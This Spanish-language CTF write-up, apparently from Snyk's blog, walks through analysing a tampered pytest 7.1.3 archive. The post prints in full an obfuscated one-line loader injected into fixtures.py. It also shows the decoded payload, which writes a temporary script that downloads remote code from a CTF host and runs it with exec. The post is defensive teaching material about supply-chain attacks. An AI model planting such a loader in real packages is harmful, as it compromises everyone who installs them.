Skip to main content

Fetch the Flag CTF 2022: solución de Pay Attention

Escrito por

Assaf Ben Josef

feature ctf pay attention

10 de noviembre de 2022

0 minutos de lectura

¡Gracias por jugar Fetch con nosotros! Felicitaciones a los miles de jugadores que participaron en Fetch the Flag CTF. ¡Y muchas gracias a los Snykers que crearon, probaron y documentaron los desafíos!

En esta publicación, veremos cómo nuestro equipo resolvió el desafío pay-attention de Fetch the Flag CTF 2022 de Snyk. Este desafío simula un caso en el que probablemente se haya secuestrado un paquete popular y se lo haya convertido en malicioso; ¡asumiremos el papel del investigador de seguridad que analiza el problema!

Guía paso a paso

Al comenzar, encontramos un archivo descargable pytest-7.1.3.tar.gz y la pista «¿Has estado prestando atención últimamente?».

Lo primero que notamos es el nombre del archivo. Pytest es un framework de pruebas de Python muy popular y, al momento de escribir esto, la versión 7.1.3 es la más reciente. Así que parece que este archivo debería ser un archivo comprimido de la última versión de pytest.

Claro que no puede ser una copia exacta de pytest 7.1.3, porque, de lo contrario, no tendríamos ninguna pista. Para comprobarlo, iremos al repositorio de pytest en GitHub y descargaremos el código fuente de la versión 7.1.3. Si inspeccionamos las propiedades de estos archivos comprimidos, veremos que la versión de pytest del CTF es apenas un poco más grande que la versión original de pytest.

Para encontrar exactamente dónde está la diferencia entre estos dos archivos comprimidos, podemos extraer las carpetas y compararlas con el comando diff -rq de la terminal, que recorrerá recursivamente el contenido de las carpetas y buscará diferencias entre los archivos, así:

Terminal que muestra las diferencias entre dos directorios de pytest, con cambios en setup.cfg y archivos de código fuente de Python.

Ahora encontramos algunas diferencias menores en varios archivos de metadatos. Pero también, y más importante aún, uno de los archivos de código fuente reales, fixtures.py, es diferente en estas dos carpetas. ¡Ahí debe estar!

Prestar atención al código sospechoso

Al inspeccionar el archivo con nuestro IDE favorito, desplazándonos un poco por el contenido (o al recibir una alerta del IDE por una sangría inesperada), encontraremos esta línea de código sospechosa:

__import__('\x62\x75\x69\x6c\x74\x69\x6e\x73').exec(__import__('\x62\x75\x69\x6c\x74\x69\x6e\x73').compile(__import__('\x62\x61\x73\x65\x36\x34').b64decode("ZnJvbSB0ZW1wZmlsZSBpbXBvcnQgTmFtZWRUZW1wb3JhcnlGaWxlIGFzIF9mZgpmcm9tIHN5cyBpbXBvcnQgZXhlY3V0YWJsZSBhcyBfZWUKZnJvbSBvcyBpbXBvcnQgc3lzdGVtIGFzIF9zcwoKX3R0bXAgPSBfZmYoZGVsZXRlPUZhbHNlKQpfdHRtcC53cml0ZShiIiIiZnJvbSB1cmxsaWIucmVxdWVzdCBpbXBvcnQgdXJsb3BlbiBhcyBfdXU7ZXhlYyhfdXUoJ2h0dHA6Ly9wYXktYXR0ZW50aW9uLmMuY3RmLXNueWsuaW8vaW5qZWN0b3InKS5yZWFkKCkpIiIiKQpfdHRtcC5jbG9zZSgpCnRyeTogX3NzKGYie19lZX0ge190dG1wLm5hbWV9IikKZXhjZXB0OiBwYXNz"),'<string>','\x65\x78\x65\x63'))

A primera vista, parece que esta línea importa algunas bibliotecas y luego invoca algunas llamadas de función interesantes, como b64decode y exec. Sin duda es sospechoso, pero todavía no podemos saber qué está pasando, así que vamos a decodificarlo.

Empezaremos con las cadenas más cortas que comparten un patrón similar, como \x65\x78\x65\x63.

Es posible que algunos sepan que Python 3 usa Unicode para representar cadenas y, si profundizamos en la documentación de Python 3, encontraremos que este patrón es simplemente una representación hexadecimal de dos dígitos de puntos de código Unicode.

Pero, en realidad, no necesitamos saber todo eso. Al observar la línea de código, vemos que estas cadenas se pasan tal cual a funciones integradas de Python, como __import__(), así que podemos suponer que el intérprete de Python ya sabe cómo procesarlas. Entonces, si iniciamos una sesión REPL de Python, podemos llamar a la función print() con cualquiera de estas cadenas para que imprima su representación Unicode legible. Por ejemplo, print(‘\x65\x78\x65\x63’) nos daría la cadena exec. ¡Genial!

Después de resolver todo esto, obtendremos el siguiente resultado:

__import__('builtins').exec(
   __import__('builtins').compile(
       __import__('base64').b64decode(
  "ZnJvbSB0ZW1wZmlsZSBpbXBvcnQgTmFtZWRUZW1wb3JhcnlGaWxlIGFzIF9mZgpmcm9tIHN5cyBpbXBvcnQgZXhlY3V0YWJsZSBhcyBfZWUKZnJvbSBvcyBpbXBvcnQgc3lzdGVtIGFzIF9zcwoKX3R0bXAgPSBfZmYoZGVsZXRlPUZhbHNlKQpfdHRtcC53cml0ZShiIiIiZnJvbSB1cmxsaWIucmVxdWVzdCBpbXBvcnQgdXJsb3BlbiBhcyBfdXU7ZXhlYyhfdXUoJ2h0dHA6Ly9wYXktYXR0ZW50aW9uLmMuY3RmLXNueWsuaW8vaW5qZWN0b3InKS5yZWFkKCkpIiIiKQpfdHRtcC5jbG9zZSgpCnRyeTogX3NzKGYie19lZX0ge190dG1wLm5hbWV9IikKZXhjZXB0OiBwYXNz"),
       '<string>', 'exec'))

Parece que este script decodifica una cadena en base64, la compila y luego la ejecuta. Ahora queremos saber qué fragmento de código se está ejecutando, así que decodifiquemos esa cadena en base64 con cualquier herramienta de decodificación en línea. Esto es lo que obtenemos:

from tempfile import NamedTemporaryFile as _ff
from sys import executable as _ee
from os import system as _ss

_ttmp = _ff(delete=False)
_ttmp.write(b"""from urllib.request import urlopen as _uu;exec(_uu('http://pay-attention.c.ctf-snyk.io/injector').read())""")
_ttmp.close()
try: _ss(f"{_ee} {_ttmp.name}")
except: pass

Esta vez, parece que el código crea un archivo temporal, escribe un script corto en él y luego lo ejecuta. El script de ese archivo temporal descarga y ejecuta un fragmento de código de un recurso en línea (en el dominio del CTF de Snyk).

Queremos seguir las pistas y averiguar finalmente qué código se ejecuta al final de esta cadena, pero nos encontramos con un obstáculo bastante difícil. ¡El código que se descarga está totalmente ofuscado! La única parte comprensible está justo al comienzo, pero nos indica el nombre y el repositorio de GitHub de la herramienta que se usó para ofuscar el código: Hyperion.

Nuestro primer impulso podría ser pensar que, como tenemos el script ofuscado y el código fuente de la herramienta de ofuscación, deberíamos ponernos el sombrero de ingeniería inversa y empezar a trabajar. Sin embargo, como el script parece estar bien ofuscado y el archivo README del repositorio de GitHub de la herramienta dice que actualmente no hay ningún desofuscador disponible, decidimos agotar primero todas las demás opciones.

Con esa idea, primero descargamos el script ofuscado en un archivo local y configuramos un entorno de depuración para ver si podíamos encontrar algo interesante que ocurriera durante la ejecución. Con nuestro IDE favorito, podemos depurar y ejecutar el código línea por línea para observar qué está pasando.

Aviso de seguridad

Si se tratara de una situación real y estuviéramos trabajando con un script diseñado para causar daño, haríamos todo esto en un entorno de pruebas aislado y seguro.

Y, por suerte, al final nuestro ojo avizor logra encontrar la bandera escondida entre las variables declaradas (después de quitar las barras invertidas):

Depurador de código con tema oscuro que muestra valores de variables, incluidos una cadena larga, un método integrado para unir cadenas y None

¡Presta atención!

En resumen, teníamos:

  • Un paquete aparentemente inofensivo con una línea de código sospechosa inyectada en uno de sus archivos

  • La línea de código compila y ejecuta un script codificado en base64

  • Ese script crea y ejecuta un archivo temporal

  • Ese archivo accede a un recurso remoto para descargar un script ofuscado y luego lo ejecuta

  • Al inspeccionar y depurar ese script ofuscado, finalmente pudimos encontrar la bandera oculta entre sus declaraciones.

Este tipo de ofuscación de varias capas es muy común en las inyecciones de scripts maliciosos. ¡Qué aventura!

¿Quieres saber cómo encontramos todas las demás banderas? Visita nuestra página de soluciones de Fetch the Flag para descubrir cómo lo hicimos.

Leer más

illustration hero ai
Blog

PHP corrige dos vulnerabilidades críticas de RCE sin autenticación (CVE-2026-109618, CVE-2026-109619): actualiza ahora

Dos fallas críticas en el ciclo de solicitudes de PHP pueden permitir la ejecución remota de código sin autenticación. Actualiza a una versión corregida o instala una corrección retroportada por un proveedor para las versiones anteriores.

blog feature ai lilac
Blog

Convierte tu backlog de vulnerabilidades en pull requests con la remediación agéntica

Evo Remediation Agent ya está disponible en Open Preview e incorpora la resolución automatizada de dependencias a Evo Agentic AppSec. Ahora, los equipos de AppSec pueden ejecutar campañas de remediación continuas

AI Background min crop
Blog

La IA activa todos los riesgos que has aceptado: siete ideas del panel de seguridad de IA sin filtros

La IA hace que los ataques sean más baratos y rápidos, y deja al descubierto riesgos que las organizaciones ya enfrentan. Cuatro líderes de seguridad explican por qué la defensa a velocidad de máquina y la corrección más rápida son esenciales.